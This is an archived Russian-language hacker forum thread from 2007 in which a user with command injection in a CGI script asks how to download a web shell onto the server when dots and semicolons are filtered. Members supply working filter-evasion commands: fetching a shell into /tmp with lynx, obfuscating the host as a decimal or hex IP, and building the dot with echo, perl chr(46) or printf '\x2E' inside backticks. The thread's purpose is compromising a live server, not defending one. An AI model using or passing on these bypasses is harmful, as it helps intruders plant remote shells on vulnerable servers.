PDA

Просмотр полной версии : /bin/bash хелп


guest3297
04.03.2007, 17:39
Короче есть бага в cgi скрипте могу исполнять команды но не могу использывать .
Сначало думал что это куйн но потом понял что залить шелл просто не реально.
Да ; тоже нельзя.


Вопрос как залить шелл не используя точки. на серваке есть lynx из загрузчиков.

варианты извменить точку в чего либо (url кодировку не предлогать)

записать эхом в файл без точки в 2 или 16 коде потом утилитой перекодировать и исполнить как .sh

Как реалиховать у вас есть какие то идеи?

hsi
04.03.2007, 17:57
Если я все правильно понял (хотя не уверен), то достаточно перевести команду в hex и залить шелл, если есть права на запись.
ha.ckers.org/xss.html

guest3297
04.03.2007, 18:01
как перевести в хекс я знаю )
нужна утилита в стандартной поставке котороая могла бы текст в файле (допусти hex) преобраховать в нормальный. короче мне надо залить шелл не используя точки и точки с запятой.

hsi
04.03.2007, 18:12
В стандартных утилитах такого, по-моему, нет. Для этого пишутся скрипты на bash или perl. Но его еще нужно туда залить.
www.computing.net/unix/wwwboard/forum/6894.html
Там несколько вариантов скриптов, переводящих hex в ascii.

Deem3n®
04.03.2007, 18:32
cd /tmp && lynx <url>
не выход?

guest3297
04.03.2007, 18:34
cd /tmp && lynx http://ya.ru/shell
без точек...

hsi
04.03.2007, 18:38
А cd /tmp && lynx http://ya%2Eru/shell ?

guest3297
04.03.2007, 18:40
нет
варианты извменить точку в чего либо (url кодировку не предлогать)
читаем внимательней.
url приобразовываеться. и в конечном запросе .

Deem3n®
04.03.2007, 18:41
Прийдется преобразовывать ип домена ya.ru в что-то вроде 0x34a2462d.
Хз, других идей у меня нет...

guest3297
04.03.2007, 18:45
2Deem3n® (member.php?u=19164)
так скачаеться????

Deem3n®
04.03.2007, 18:47
Проверяю... :)

UPD:
Опера почему-то с такими ссылками не пашет... а lynx не установлен.
Прочитай вот это и сам попробуй:
http://www.pc-help.org/obscure.htm#dword

UPD2:
а пинг работает... :)
dima@gentoo-fn ~ $ ping 3578842120
PING 3578842120 (213.80.204.8) 56(84) bytes of data.
...обфускатор тут:
http://www.odditysoftware.com/page-webtools5.htm

guest3297
04.03.2007, 19:31
да старый способ.
щас будем тестить на совместимость с lynx.

guest3297
04.03.2007, 19:38
не хотит

ShadOS
04.03.2007, 19:55
хых... почитал топик но так и не понял причём тут /bin/bash. Там может любая командная оболочка стоять =)

Если я правильно понял задачу, что ты хочешь выполнить, то средствами командной оболочки, заметь (не обязательно bash), это можно сделать так:
echo -ne "\x2E" > file

TaNkist
04.03.2007, 19:59
Вывести точку можно так:
`perl -e "print 'chr(46)'"`

guest3297
04.03.2007, 20:06
не знаком с перлом как допустим создать файл с текстом
http://ya.ru/index.html

при вводе исползуя char
и вывести его в файл aaa допустим?

ZaCo
04.03.2007, 20:25
2[ cash ] чем тебя printf + `cmd` не устраивает?

guest3297
04.03.2007, 20:29
2ZaCo (member.php?u=17423)
пример можно?

ZaCo
04.03.2007, 20:35
lynx `printf "http://ya\x2Eru"`

guest3297
04.03.2007, 20:53
Всем спасибо можно закрыть.